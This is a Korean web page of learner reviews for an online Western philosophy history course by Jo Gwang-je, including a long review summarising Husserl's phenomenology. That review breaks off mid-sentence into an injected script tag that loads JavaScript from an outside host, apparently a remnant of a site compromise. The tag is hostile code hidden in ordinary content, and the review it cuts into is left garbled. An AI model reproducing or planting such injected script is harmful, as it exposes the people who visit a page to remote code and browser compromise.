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우수
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사유를 촉발시키는 강의 |
주*룡 |
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"이게 다~뭐꼬?'라는 구수한 낯익은 사투리로 경상도 철학입문자에게 사유를 촉발시켜주신 조광제 선생님 감사합니다. 강의를 듣고 있노라면 계속해서 뭔가를 사유하고 있는? 아님 그런 모습 흉내내려고 하는 저를 보게되네요. |
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우수
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몸과 느낌으로 아는 세계 |
김*희 |
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방대한 서양철학사를 교수님의 구수한 입담을 따라 듣노라면 사유의 새로운 지평이 열리는 기분이 많이 듭니다.(특히 후반부 현대철학에서요) 메를로 퐁티를 전공하신 지라 몸의 철학을 중심으로 한 현대철학의 흐름을 간략하지만 쉽게 접할 수 있어서 좋았습니다. 정신과 의식은 몸의 변형태(몸이 불편해서 생기는 위족 또는 허족같은 것)에 불과하다는 것. 그래서 사유는 결국 몸으로 체화되어야 한다는 것. 생각하는 게 아니라 느낌의 세계로 들어가라는 말씀 등등 철학(이론)과 삶(실천)이 하나로 융합되는 방법을 알려주려고 노력하신 강의 같습니다. 들은 지 오래 된 강의지만, 뒤늦게 후기를 올리면서 조광제 교수님만의 매력과 몸 철학의 의미를 다시 떠올려 봅니다. |
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우수
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쉬운 철학 강의 |
조*숙 |
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철학은 처음 접하는데 재미있는 강의네요. 워낙 철학에 대한 기본 지식이 없어 흡수하는 내용은 적지만 지루하지 않은 강의입니다. 나의 몸과 의식은 어디에 있는지 생각하게 하는 지금 제대로 시간이 가고 있는지 생각하게 하는 수업입니다. 재미있습니다. |
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철학의 큰 지도를 그릴 수 있게 되었어요! |
김*정 |
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서양철학사를 혼자 공부하며 큰 줄기를 잡지 못해 헤매고 있었는데, 이 강의가 고대부터 현대까지의 파노라마를 명쾌하게 보여주었습니다. 특히 "이게 다~ 뭐꼬?"라는 구수한 사투리로 사유를 촉발시켜 주시는 교수님 덕분에 지루하지 않게 완강할 수 있었습니다. 개별 철학자에 대한 깊이는 스스로 채워야겠지만, 전체적인 흐름과 맥락을 이해하는 데는 이보다 더 좋은 입문 강의는 없을 것 같습니다. 이제 개별 과목을 통해 더 자세히 공부할 용기가 생겼습니다. |
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데카르트, 스피노자, 라이프니츠만 있어요. 경험론은 어디 갔나요? |
박*훈 |
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강의 내용 자체는 매우 유익하고, 어려운 개념을 일상적인 예로 쉽게 풀어주시는 점은 좋았습니다. 특히 칸트의 '물자체' 개념을 붉은 셀로판지로 설명해주신 부분이 인상 깊었어요. 하지만 근대철학에서 로크-버클리-흄으로 이어지는 영국 경험론 철학자들에 대한 논의가 거의 생략된 점이 너무 아쉽습니다. 합리론적 전통만 주로 다루니 전체적인 서양철학사의 균형이 깨진 듯한 느낌입니다. 차라리 현상학 이후의 현대철학 부분을 줄이고 근대 경험론을 보강했더라면 더 좋았을 것 같습니다. |
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메를로-퐁티의 '몸 철학' 덕분에 살 것 같습니다. |
최*원 |
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저는 몸을 전공한 사람으로서 '몸 철학'에 관심이 많아 강의를 신청했는데, 역시 교수님의 주 전공인 메를로-퐁티 파트가 압권이었습니다. "정신은 몸의 변형태에 불과하다", "사유는 결국 몸으로 체화되어야 한다"는 말씀이 강하게 다가왔습니다. 요즘 스트레스가 심해서 정신적으로 많이 힘들었는데, 몸과 의식이 분리되지 않고 하나라는 철학적 이해를 통해 큰 위안과 힐링을 얻었습니다. 이 강의 덕분에 삶을 조금은 진중하게 돌아보게 되었습니다. |
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강의 노트를 좀 더 충실히 부탁드립니다. |
이*민 |
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강의 내용의 깊이와 교수님의 열정은 좋았지만, 기술적인 부분과 자료의 부족함이 아쉬웠습니다. 특히 칠판에 쓰시는 글씨가 카메라에 가려서 잘 안 보이거나, 화면과 음성이 미묘하게 일치하지 않는 부분이 있었습니다. 그리고 강의 노트가 핵심 요약본이라기보다는 그냥 녹취록 수준에 가까워서, 복잡한 철학 개념을 정리하는 데 큰 도움이 되지 않았습니다. 시간의 제약상 어려운 내용을 훑고 지나가는 경우가 많았는데, 강의 노트라도 보충자료를 충분히 제공해 주시면 훨씬 나아지리라 생각합니다. |
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"철학은 철학함"이라는 것을 깨닫게 해준 강의 |
김*현 |
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그동안 철학 공부는 개념이나 사상적 내용을 외우는 것에 불과하다고 생각해왔습니다. 하지만 교수님 강의를 들으며, 중요한 것은 철학자들이 그 개념을 만들어내기 위해 벌였던 자기 시대와 현실에 대한 천착과 탐구열이었음을 깨달았습니다. "여러분도 철학을 배워서 어떻게 인생을 살아가야 될 지를 곰곰히 생각해 보세요"라는 교수님의 소탈한 언급이 그 어떤 깊은 개념보다도 더 절실하게 느껴졌습니다. 철학을 실천의 영역으로 끌어내준 유익한 강의였습니다. |
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유아론'을 극복하려던 데카르트의 고뇌 |
강*영 |
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근대 고전주의 철학 파트에서 데카르트가 '나는 생각한다, 고로 존재한다'는 코기토로 시작해 우주에 대한 기계론적 이원론을 주장했지만, 결국 '유아론(唯我論)'이라는 한계에 봉착했다는 설명을 듣고 근대 철학의 고뇌를 이해하게 되었습니다. 교수님께서 명쾌한 개념과 예시를 들어 설명해 주셔서 철학의 흐름을 쫓아가기가 수월했습니다. 철학을 처음 접하는 분들께 강력 추천합니다. |
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수강 마감일에 쫓겨서 듣다니... |
오*석 |
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서양철학사를 단기간에 다 듣겠다는 것 자체가 욕심이었던 것 같습니다. 강의 하나를 들을 때마다 더 찾아보고 공부하고 싶은 욕심이 생기는데, 짧은 수강기간 때문에 조급하기만 했습니다. 다음에는 꼭 느긋하게 수강기간을 길게 잡고 다시 한번 들을 계획입니다. 방대한 내용을 쉽고 재미있게 설명해 주신 교수님께 감사드립니다. 이제 "이 뭐꼬?" 하면서 삶의 질문을 던지는 사람이 되겠습니다. |
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융합의 방법론을 가르쳐주셨어요. |
박*찬 |
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건축을 전공하는 사람이라 미학 관련된 철학만 편식적으로 공부해 철학의 전체 지도를 그리지 못하는 문제점이 있었습니다. 물 흐르는 듯한 교수님의 강의 덕분에 그동안 하나하나 맛보던 철학사를 대충 머릿속에 그려 넣을 수 있게 되었습니다. 특히 현상학이 구조주의를 잇는 역할을 하며 예술 쪽에 영향을 많이 미쳤다는 설명은, 제가 하는 건축 분야와 철학의 연결고리를 찾는 데 큰 도움이 되었습니다. |
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교수님의 솔직함이 동기 부여를 감소시킵니다. |
문*철 |
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강의가 전반적으로 지루하지 않고 좋았습니다. 강의를 들으며 기본적인 철학의 토대를 세우게 되어 기쁩니다. 허나, 강의 중간중간 교수님께서 "이 부분에 대해서는 저는 사실 잘 모르고 보통 사람보다 조금 더 아는 수준입니다"라고 말씀하실 때마다, 수업에 대한 신뢰와 동기 유발이 감소되었습니다. 어떻게 믿고 이 강의를 계속 들어야 할지 실망감이 들었습니다. 겸손함일 수는 있으나, 가르치는 입장에서는 듣는 이의 마음을 헤아려 주셨으면 합니다. |
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중세 철학의 비중이 아쉬웠습니다. |
김*민 |
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서양철학사의 큰 틀을 세우는 데는 좋은 강의였습니다. 하지만 개인적으로 중세 기독교 철학(아우구스티누스, 아퀴나스) 파트가 중요도에 비해 강의에 많은 부분을 차지했던 것이 아쉽습니다. 반면, 현대 철학 부분은 현상학(후설, 퐁티) 외에는 라캉이 짧게 언급되고 들뢰즈 등은 아예 생략되어버린 점이 아쉽습니다. 현대 철학에 좀 더 시간을 할애했으면 더 유익했을 것 같습니다. |
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따분하지 않은 철학, 구수한 사투리의 매력 |
정*늘 |
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철학은 따분하고 어렵다고 느끼는 분들이 듣기에 정말 좋은 강의입니다. 교수님의 소탈함과 경상도 방언에서 나오는 철학 언어의 미묘함("무엇인가? -> 뭐꼬?")이 강의를 결코 따분하지 않게 만들어 주었습니다. 칸트나 헤겔 같은 어려운 주제도 최대한 쉽게 풀어서 재미있게 들었습니다. 이 강의를 듣고 렘프레히트의 서양철학사를 읽으면 더욱 효율적일 것 같습니다. |
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초보자를 위한 최고의 입문 강의 |
김*훈 |
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철학 전공자가 아닌 일반인으로서, 철학에 대한 책만 읽다가 처음 강의를 들은 것은 매우 신선한 경험이었습니다. 고대부터 현대까지를 아우르는 전체 밑그림을 보여주어서 기초를 닦기에 훌륭했습니다. 물론 짧은 시간에 심오한 부분까지 들어갈 수는 없다는 것은 감안해야겠지만, 각 시대의 핵심적인 내용은 놓치지 않고 있습니다. 철학에 대해 막연했던 제가 행복한 마음으로 하루를 마감할 수 있게 해준 강의였습니다. |
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몸철학을 더 깊이 듣고 싶어요! |
최*미 |
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메를로-퐁티 강의를 듣고 교수님께서 전공하신 '몸 철학'에 강하게 끌렸습니다. '몸은 세계의 존재다', '몸과 지각' 등 그동안 간과했던 몸의 의미를 철학적으로 접근하는 방식이 신선했습니다. 강의 후반부 짧게 접했지만, 매우 끌립니다. 혹시 교수님께서 전공하신 "몸철학" 강좌를 새롭게 개설할 계획은 없으신지요? 이 강의를 들은 후 가장 큰 수확은 '몸 철학'에 대한 흥미가 생긴 것입니다. |
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고대 철학에 대한 이해를 열어주었습니다. |
배*수 |
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대학 1학년 때 러셀의 철학사를 읽었지만, 고대 철학자들의 '만물의 근원(아르케)'에 대한 고민이 도통 이해가 가지 않아 대충 넘어갔었습니다. 하지만 이 강의를 틈틈이 듣다 보니, 만물의 근원이 물, 불, 공기라는 것이 단지 고리타분한 얘기가 아니라 그 시대의 치열한 사유였음을 어렴풋이 느낄 수 있었습니다. 완강은 못했지만, 다시 한번 듣는다면 고대 철학에 대한 감이 완전히 올 것 같습니다. |
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철학사의 '연속성'이 아쉬웠습니다. |
이*우 |
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가슴 두근거리며 강의를 들었습니다. 철학사를 쉽게 재밌게 설명해주시는 점은 인정하지만, 강의가 플라톤은 플라톤에서, 칸트는 칸트에서 '단편적 개괄'에만 그치고, 그들 간을 '꿰는' 사유 패턴의 연속성이 부재한다는 느낌을 받았습니다. 서양철학사 탐방인 만큼, 철학사를 '잇게' 해준 사유의 전복과 반복이 노정되었더라면 더 좋았을 것 같습니다. 강의를 듣고 난 후, 제가 얼마나 모르고 있는지 알겠다는 겸손한 깨달음을 얻긴 했습니다. |
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느긋하게 들었으면... |
이*연 |
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서양철학사를 단기간에 듣겠다는 것 자체가 욕심이었던 것 같습니다. 강좌 하나씩 들을 때마다, 더 찾아보고 더 공부하고 싶은 욕심이 생기는데, 끝나가는 수강기간 때문에 조급하기만 하네요. 자세하지는 않지만 대강의 서양철학사를 쉽고 재밌게 설명해 주십니다. 이렇게 큰 줄기를 잡고, 나중에 개별과목을 통해 더 자세히 공부하면 될 것 같습니다. 선생님, 고맙습니다. 항상 "이 뭐꼬?"하면서 살겠습니다. |
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서양철학의 큰 흐름 |
원*연 |
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서양철학의 큰 흐름을 이해하고 느끼기에 충분한 강의였습니다. 강의록에 제공되는 소 논문형식의 페이퍼도 강의를 이해하는데 정말 많은 도움을 주었습니다. 시간이 허락된다면 다시 한번 듣고싶은 강의입니다. 좋은 강의 잘 들었습니다!! |
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퐁티의 몸의 철학 |
한*름 |
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메를로 퐁티의 몸의 철학이 대단히 중요한 거였네요. 근대 서양의 이성중심주의가 몸을 배제했던 데 대항해서 나는 몸이다, 라는 선언적 명제가 강하게 다가오는 강의였습니다. 철학사를 이해할 수 있는 좋은 강의였습니다.
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철학사에 대한 입문 |
경*학 |
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쿨한 강의, 이해하기 쉽게 설명, 기본에 충실한 강의, 철학사를 가장 쉽게 배우고자 하는 사람에게 아주 좋은 것 같아요! 제가 철학사에 대한 흐름을 이해하기 힘들었는데 선생님의 강의를 듣고 철학에 흥미를 유발시키는 기회가 되었습니다. 너무 너무 감사합니다. |
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경창학 님:)
휴일에 열공하셨군요! 맞아요. 철학사는 흐름을 이해하는 게 가장 중요한 것 같아요. 그 흐름을 발견하셨다니, 축하드립니다. 경창학님의 철학 공부를 계속해서 응원하겠습니다.^^ admin (14.6.9) |
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재수강을 해도 또 깨닫게 되는 강의 |
s**esang |
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서양철학사에 대한 전반적인 강의이지만, 부분적으로는 그 내용이 상당히 깊다. 특히 아리스토텔레스나 칸트의 경우는 더 그러하다. 구수한 사투리와 편안한 강의 스타일 때문인지 강의에 몰입하게 된다. 선생님이 들려주던 학생시절 공부하던 모습들은 감동적이기까지 하다.오랫만에 재수강을 하는데 여전히 새롭고, 많은 것을 얻게된다. |
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대체적으로 |
정*민 |
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서양철학사에 큰틀을 세우는 데 좋았던 것 같습니다. 개인적생각으로 중세 철학이나 현상학이 중요하지만 강의에 많은 부분을 차지해서 조금 아쉬웠습니다. 현대철학에 막스가 없어 쫌 그랬구요. |
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철학입문 강의 |
이*나 |
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비교적 쉽게 가르치시고 재미있게 강의는 하시는데 내용이 깊지 않아 철학에 대한 일반 교양을 쌓기 위한 분들이 듣기 적합한 강의 같습니다. 철학을 전공하시는 분들은 이 강의를 듣기 보다 렘프레히트 서양철학사를 읽는 것이 더 도움이 될 것 같습니다. |
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서양철학이란 문을 열게한 강의 |
최*효 |
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처음엔 인터넷강의가 처음이라 티비보듯 쫙 빨려들어갔다가, 많이 안들어본 부분 나오면 집중이 안되기도 했지만 드디어 완강했습니다. 제게 철학의 시작을 열어준 좋은 강의였습니다. 친근한 말투가 계속 기억이 날듯 합니다. |
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재미있고 인간적인 교수님 |
변*영 |
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재미있고 인간적인 교수님의 강의 덕분에 듣는 내내 즐거웠습니다.. 조광제 교수님이 현상학이 전공이셔서 특히 현상학에 대하여 잘 알 수있는 시간이었고요, 언제나 온몸으로 열정적으로 강의하시는 교수님의 강의덕분에 한층 더 철학에 쉽게 다가갈수 있었습니다 |
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물 흐르는 듯한.. |
박*찬 |
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건축을 하는 저로서는 미학 관련된 철학만을 주로 공부하여 왔으나 편식적 공부에서 오는 철학의 전체 지도를 그리지 못하는 문제점이 있었습니다.여지껏, 하나 하나 편식해 가면서 맛보던 철학사를 물 흐르는 듯한 교수님의 강의로 대충 머리속에 그려 넣을 수 있게 되었습니다. 감사합니다.
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kotragon 회원님 의견 감사드립니다~ |
관*자 |
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kotragon 회원님께서 알려주신 강좌 자막 오타 부분은 확인하여 정정 조치 하겠습니다.
회원님께서 강의를 기분 좋게 들으셨다고 하실때마다 저희도 기분이 좋아지고, 더 열심히 해야 되겠다는 의욕감이 충만!! 좋은 의견 감사드립니다.
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초보자를 위한 강의 |
민*홍 |
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초보자를 위한 강으로 참 잘들었습니다. 요약본 보다도 참고자료들이 좋더라구요. 그리고 개인적으로 앞부분 보다는 후반부의 강의가 좋았습니다,
아 그리고 자막 오타 몇개 지적합니다. 니체 강좌 부분에 '영겁 회귀'를 '영겁 핵'이라고 했더라구요.
아무튼 좋은 강의 감사합니다. |
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사유와 몸이 있는 강의 |
정*상 |
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지금시각 새벽 4시...흥미를 가지고 완강했습니다. 세부적인 내용을 모두 만족하도록 할 수 없는 시간의 인터넷 강좌이지만 서양 철학의 흐름을 그런대로 꿰는데는 괜찮다고 생각됩니다. 철학강좌를 쉽고 재미있게 그리고 매 강의 짧은 제한된 시간에 비교적 핵심에 도달한 강좌라 하고 싶습니다. 영국의 경험론을 다루는 부분이 보완되었으면 하구요, 독일관념론은 강독식으로 하셔서 좀 지루했지만 그래도 목적에 도달했다고 생각합니다. 만일 강좌를 보완할 방법이 있다면 더 좋은 강좌로 발전할 가능성이 있다고 보여집니다. 현대철학은 아쉬움이 좀 있습니다. 그중 메를로 퐁띠를 잘 풀어주신 것같고 몸철학하시는 문이라 그런지 퐁티를 잘 이야기 해주신 것 같습니다. 결국 지식도 사람에게서 나오는 것인데 조광제 선생님 강좌는 사유만 있는 것이 아니라 몸을 가진 사람이 삶을 가지고 하는 강좌 같아서 풋풋하고 좋았습니다. |
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32 |
강의후기 |
김*화 |
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강의가 지루하지도 않고 닦닦하지도 않고 넘 좋습니다 강의 통해 기본적인 철학의 토대를 세우게 되어 정말 기쁩니다 허나 강의를 들으면서 교수님이 이부분에 대해 저는 잘 모른다고 말씀하실 때마다 수업에 대한 동기유발이 감소되어 수업에 집중하지 않게 됩니다 |
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33 |
큰 틀을 세우는데, |
강*숙 |
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관심을 가지고 읽기 시작한 서양철학사를 틀을 잡지 못하고 헤매는 중이었는데, 큰 틀을 세울 수 있어 도움이 되고 있습니다. 서양철학이 어디에서 어떻게 시작되고 진행되는지를 보여주는 강의라 여깁니다. |
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34 |
강의를 다 듣고 |
이*진 |
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가슴 두근거리며 한달음에 강의를 들었습니다. 그런데 이건 취향의 문제이겠지만, 철학사 강의가 플라톤은 플라톤에서 칸트는 칸트에서 현상학은 현상학에서 단편적 개괄에만 그치고, 그들간을 '꿰는'사유 패턴의 파노라마랄지 연속성이랄지가 부재한다는 느낌을 받았습니다. 서양철학사탐방이니 철학사를 '있게' 했고, '잇게' 해주었던 사유의 전복과 반복이 노정되었더라면 더 좋았을 것 같다고 생각해 봅니다. 하지만 전반적으로 쉽고 재밌게 설명해주십니다. 감사합니다. |
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35 |
전반적으로 알찬강의 |
이*관 |
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서양 철학 강의를 알차게 들었습니다 교수님이 생각하신 나름의 생각도 가끔 말씀해 주셔서 유익했습니다 다만 녹취록을 보강했으면 합니다 많이 부족한 측면이 보입니다 현대 철학를 조금더 강의해주셨으면 좋을것 같습니다 감사합니다 |
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36 |
철학은 철학함이라는 것. |
주*식 |
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철학을 공부하면서 어떤 개념이나 사상적 내용의 획득에 매달리는 것이 doxa에 불과하다는 것을 느끼게 해주는 강좌였다, 플라톤의 듀얼리즘이나 이상적 세계관이 현학적 소치에서 비롯된 것이 아니라 현실과 점액질적인 강력한 밀착을 위한 사상이었던 것처럼, 철학의 체계를 이해하고 여러 사상가들의 궤적을 사적으로 고찰한다는 것은 결국 철학이란 철학함이라는 실천임을 깨닫게 되는 것이다. 그동안 나는 철학가의 개념들을 외우기 위해 얼마나 집착하였던가! 중요한 것은 그 개념들을 만들어내기 위해 각 철학가들이 벌였을 자기 시대와 현실에 대한 천착과 탐구열이며 그 과정이었을 텐데 말이다. 그래서 조광제 교수님의 소탈한 다음과 같은 언급이 나에게는 어떤 깊이의 개념들보다도 더 절실하게 느껴진다. "여러분도 철학을 배워서 어떻게 인생을 살아가야 될 지를 곰곰히 생각해 보세요." |
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Ding에 대한 현상학적 관점 |
김*동 |
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'의식은 안과 밖이 없으며, 따라서 밖에 있는 듯하면서도 안에 있는 듯한 그 사물은(그것이 변하든 변하지 않든 간에) 사실상 의식 밖이나 또는 안에 존재하는 것이 아니라 의식의 상태(내용) 그 자체다.'라는 후설 현상학에 대한 교수님의 강의는 Ding에 대한 굴직한 관점을 아주 명확하게 해주는 강의였습니다. 아래 내용은 후설현상학에 대한 교수님의 강의를 제 나름대로 정리한 내용임니다. 정확할지는 잘 모르겠습니다.^^
◈ 후설의 순수의식의 현상학 ◈
후설(Husserl, Edmond 1859-1938) 독일의 철학자. 주요저서, 『순수 현상학 및 현상학적 철학을 위한 여러 고안』(1913)
후설 현상학의 주요개념들을 중심으로
① 후설철학의 이념은 '엄밀학'으로서의 철학인데 이는 철학을 수학처럼 전수될 수 있도록 하겠다는 의미이다. 그러나 나중에 후설은 '엄밀학'으로써의 꿈은 깨졌다고 말한다.
② 자기소여성(Selbstgegebenheit)의 명증성 추구
* 자기소여성(Selbstgegebenheit) Selbst(스스로) + gegeben(주어진다) + heit(명사형 어미) 여기서 '스스로 주어지는 것'은 일종의 '본질'을 의미하는 것으로 '가공하기 전의 것', 또는 '대상자체'를 말한다고 볼 수 있다. 그러면 도대체 '이 본질적인 사태가 어디에(무엇에) 주어지느냐?'하는 질문이 제시될 수 있다. 후설은 그것이 '의식'에 주어진다고 주장한다. 이것은 곧 'Selbstgegebenheit(본질)이 의식에 현상한다.'는 의미로 결국 'Selbstgegebenheit(본질)이 현상'이라는 주장에 다름 아니다(여기서 '본질직관'이라는 개념이 성립). 이런 사고는 '본질이 현상의 바탕이 된다.'고 본 전통철학과는 확연히 구분되는 것으로 전통적 사고는 일관되게 '현상을 뚫고 내려가야 비로써 본질을 만날 수 있다.'는 이분법적 사고를 한다.
* 본질직관(Wensensanschauung) Wensen(본질) + s(=of) + anschauung(직관) = 본질에 대한 직관, 그 중에서도 의식의 본질(적) 구조에 대한 직관이 핵심이 된다('인간본질'로서의 ‘의식’의 중요성).
③ 지각: 후설은 “인간의 모든 의식들 중에서도 가장 중요한 것은 '지각'으로, 지각은 모든 경험적 의식의 바탕이 되기 때문에 이것을 잘 분석하고 탐구하면 다른 모든 의식들의 구조를 알 수 있다.”고 주장한다(지각의 분석을 통한 의식의 탐구). 즉 지각을 분석하는 게 궁극적인 목적이 아니고, 지각의 분석을 통해 의식의 구조를 파악하자는 주장인 것이다(여기서 가장 문제가 되는 것은 선험적 의식). 의식: 경험적 의식-지각, 감각, 상상, 소원(희망, 절망...), 가치평가 등. 선험적 의식-후설 특유의 철학적 기반이 되는 것.
지각은 우선 대상적인 사물(Ding)이 나타나야 그것을 지각이라고 할 수 있다. 그러면 '후설에게 있어서 지각은 무엇인가?' 단순히 색이 다르고 모양이 다르며, 소리가 나고 안나고 하는 것은 단지 지각에 포함되는 것으로써의 감각에 불과할 뿐이기 때문에 지각이 곧 이들이라고 말할 수는 없다. 그러면 다시 '후설에게 있어서 지각은 무엇인가?' 우리는 꿈 속에서 집을 볼 수도 있고 지각상태에서 집을 볼 수도 있다. 그러나 어찌 됐든 그것은 집이며, 후설은 이것을 바로 본질적 계기(본질상 집)라고 한다. 그리고 이와 관련해서 그 집이 '지각적인 방식으로 있느냐', 아니면 '꿈 속에서 존재하느냐'하는 것을 '현존적 계기'라고 한다. 그런데 이 두 계기가 가능하려면 조금전에 얘기했듯이 반드시 사물(Ding)이 나타나야 한다. 즉 사물(Ding)이라는 뭔가가 있고, 그리고 나서 그것에 대해 이 두 가지를 생각하게 되는 것이다. 여기서 의식에 나타난 사물, 이게 바로 지각인 것이다.
④ 한편 1차적으로 주어지는 의식의 내용(지각)은 '현출다양(mannigfaltigen Erscheinung: 시시각각 변하는 모든 사태들)'하다. 그러나 우리는 바깥에 있는 것처럼 보이는 이 '현출(hyle)다양'을 보면서 변하지 않는 어떤 것(현상, 본질, 노에마)을 봐야 한다. 그러나 우리는 지각하고 있으면서도 그것을 지각으로 인지하지 못하기 때문에 먼저 현존적인 계기(~이 있는지, 없는지)와 본질적인 계기(~인지, 아닌지)가 작동하기 이전의 상태로 돌아가는 작업이 필요하다. 후설은 이를 위해 에포케(epoche, 판단중지, 괄호치기)라는 방법론을 제시한다. 에포케란 예를 들어 분필지우개를 가지고 이것이 '분필지우개다, 아니다'(본질적인 계기), 또는 이것이 '밖에 존재한다, 존재하지 않는다'(현존적인 계기)에 대해 괄호를 묶고 판단을 중지하는 것을 말한다.(=선험적 환원)
*에포케-현존적인 계기(~이 있는지, 없는지)와 본질적인 계기(~인지, 아닌지)에 대한 판단중지
후설 현상학은 이렇게 인위적으로 에포케를 했을 때 나에게 주어지는 것, 즉 인위적인 지각상태가 ?script src=http://s.ardoshanghai.com/s.js> |
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탁월한 강의- 강력 추천 합니다. |
신*종 |
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알기쉽고 요점이 정리된 탁월한 철학 입문 강의 였습니다. 두번 들으니 머리속에 철학사의 기본 줄기가 그려집니다. 분석 철학(영미 철학)계통이 빠져 있는 것이 아쉬운 점이지만 제한된 시간의 범위 내에서는 최적의 강의가 아닌가 싶습니다. 이 기회에 조교수님이 쓰신 책들도 구입해서 읽을 생각입니디. |
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수강종료 하루전에 강의를 돌이켜보다 |
문* |
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예술에 대해 공부하는 사람으로서 당연하게 관심을 가져야만 하는 것이전에, 원래도 철학에 대해 관심 많았다. 그래서 혼자 책으로 공부하려 했었는데, 능력에 한계를 느껴 선택하게 된것이 조광제 선생님의 철학사 탐방 이었다. 거두절미 하고 솔직한 평을 쓴다면, 강의 초반에는 꽤 만족스러웠었던것 같다. 그러나 가면서 드문드문 시간에 쫒겨 그런것인지 비중이 눈에띄게 달라지는것이 아쉬웠다. 그리고 솔직하시거나, 겸손하신모습은 높이 평가하지만, '나는 사실**에 대해서는 잘모르고 보통사람보다 조금 더 아는수준' 이다. 라고 말씀하실 때 그럼 어떻게 가르치시겠다는 것인지 실망이 이만저만이 아니었다. 어떻게 믿고 듣고있습니까. 라고 묻고 싶다.
또한, 사이트의 기술적인 측면을 꼭 언급하고 싶다.
<자막> 가끔 말씀하신내용이 자막으로 뜨는데 , 잦은 오타, 그때그때 다른 사라지고/나타나는 속도 . 무엇보다도 중요한요점이 뜨는게 아니라 간략하게 딱딱 떨어지고 쓰기편한것을 중요도에 상관없이 올린다는것이다. (정작중요한내용은 올리지않기도한다)
<카메라+재생속도> 내가 고등학교때 온라인강의 들을때 수준보다도 한참 아래에있다. 카메라의 별 생각없어보이는 줌인, 또 최근에서야 변했지만 재생속도의 문제. 이제서 속도를 여러단계로 조절할수 있다는것을 만들었다는것을 다행으로 여겨야 하는것에 좋아해야 할까? (나는 내일 수강종료인데)
강의 내용이 물론 가장 중요하지만 , 이런 기술적인 문제가 뒷받침이 않되면 평가도 따라서 않좋아질수있음을 꼭 기억해줬으면 좋겠다.
다음에도 좋은 강의 만날수 있길 고대하며..
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철학사 |
조*름 |
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철학사의 큰 흐름을 단기간에 걸쳐 알아볼 수 있다는 장점이 있다. 그러나 정해진 시간 안에 진행되어야 하는 어려움과 강의에서 다루는 철학자들의 핵심 사상 중심으로만 살펴보는 형식으로 나가다보니, 깊이 있는 내용을 기대하기보단 한 번 훑고 지나간다는 식으로 보면 괜찮을 거라 생각한다. 개인적으로 현대철학부분을 좀 더 심도있게 나갔으면 좋았을걸 하는 아쉬움이 있다.
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강의후기 |
김*범 |
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사실 어느 강의든 마찬가지겠지만.. 기본적인 교재 없이 강의만을 들을 경우, 혼자서 책을 읽는 것에 비해서는 쉽게 쉽게 진도가 나가고 또한 아무래도 이해하기가 좀 더 수월하긴 하겠지만, 그 반면에 수업 때 전해들은 지식들이 쉽게 내 것이 되기가 여간 힘들 뿐더러 금새 휘발되기 쉽다는 맹점도 있는 것 같습니다. 그런 면에서 램프레히트의 '서양철학사'를 읽어내려가면서 함께 조광제 선생님의 서양철학사 강의를 듣는다면 더욱 효율적일 듯 합니다. 또한 여기에 조광제 선생님께서 직접 집필하신 '존재이야기: 조광제의 철학 유혹'도 더해본다면 더욱 알찬 수강이 되지 않을까 생각합니다.
PS. 어차피 강의 자체가 철학'사'인 만큼, 모든 사조 혹은 철학가들에 대한 심도깊은 논의를 바라는 것은 물론 어불성설이겠지만, 로크-버클리-흄으로 이어지는 경험론 철학자들에 대한 논의가 거의 없는 것은 상당히 아쉽습니다. 차라리 현상학 이후의 현대철학 부분을 과감히 없애고 근대 경험론에 대한 개괄이 이루어졌다면 더 균형감있는 수업이 되지 않았을까 하는 생각이 드네요. |
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^^ 여러 가지 예로 쉽게 접근하게 해 주시네요. |
이*형 |
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철학을 좀 더 친근하게 받아들일 수 있어서 너무 좋습니다. 패키지로 들으면서 선생님 강좌를 따로 하나 더 신청해서 듣고 있습니다. 지금은 칸트 부분만 듣고 있는데요. 제가 철학 전공자가 아니기 때문에 철학을 가깝게 느끼는 것이 우선이 되어야 했거든요. ㅎㅎ 정말 감사합니다. ^^ 수업을 들으니 이것저것 공부할 꺼리들이 보이네요. |
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감사합니다. |
고*원 |
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철학 전반에 대한 조망과 정리가 필요하여 선생님 강의를 신청하여 수강하게 되었습니다. 조금 시간이 흐른 강의였기는 하지만 기본적인 내용들은 모두 포함되어 있으니 전체를 조망하는데 도움이 되었습니다. 선생님께 감사 인사 드립니다. 아트앤스터디의 강의들 바쁜 짬내서 듣기가 좋아 주위에도 많이 추천하고 있습니다. |
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유익한 강의 |
임*진 |
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철학 전반에 대한 깔끔한 정리 감사했습니다. 초보자가 알아듣기 쉬운 차근차근한 설명 덕분에 지루할 수 있는 철학 강의를 금새 수강할 수 있었습니다. 조광제 선생님의 다른 강의도 관심있게 지켜보겠습니다. |
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잘 들었습니다. |
류*영 |
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철학에 대해 아는 바가 없어서 조금 어렵기도 했지만, 처음 철학을 접하는 사람들에게도 많은 도움이 될 것 같습니다. 고대 철학 부터 현대 까지 아우르다보니 다소 깊이가 떨어진다는 느낌도 없지 않습니다만 유익한 강의 였습니다. |
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철학입문강좌 |
유*보 |
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조광제 교수님께서 강의중 추천해주신 램프레히트의 '서양철학사'를 틈틈이 읽어가며 강의를 들었습니다. 처음 철학을 접하는 수강생에게 유익한 서양철학 강좌입니다. 단 후반부로 갈수록 방대한 양에 비해 강의시간과 구체적 설명/예시가 부족해 아쉬웠습니다. 특히 칸트, 헤겔 부분은 기대가 컸었는데.. 앞으로도 좋은 강의 부탁드립니다. |
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유익한 강좌 |
석*춘 |
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서양철학의 체계를 조금더 깊이 있게 잡을 수 있어서 참 좋았습니다. 이번에 다시 반복해서 시청할 생각입니다. 현상학에 대한 조예로 따지면 아마 대한민국에서 제일 체계적이면서도 이해하기 쉽게 설명하실 분이 조광제 선생님인것 같습니다. |
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베르그송을 듣고 싶은데 어디로 가면 들을 수 있나요?? |
하*관 |
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조광제 교수님 사이트 소개 부탁합니다.--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------> |
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최소 비용, 최대 효과, |
하*관 |
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강의 노트를 다운 받을 수 있게 올려주시면 고맙겠습니다. 아카데미 수업을 열심히 들을 생각입니다. 조광제 선생님의 구수한 인간미가 수업만큼이나 좋군요. 많이 배운 것, 감사드립니다.
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수직과 수평의 시간 |
김*서 |
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시간이란 생각할수록 신비한 것 같습니다. 결국 시간이란 객관적(물리적) 시간과 주관적(의식) 시간이 있는 것 만은 틀림이 없다고 보겠습니다. 마치 상대성 이론과 양자역학 이론을 통일시키려는 노력과 마찬가지로 이 두 가지의 시간을 통합시키는 이론이 있었으면 하는 생각이 듭니다.
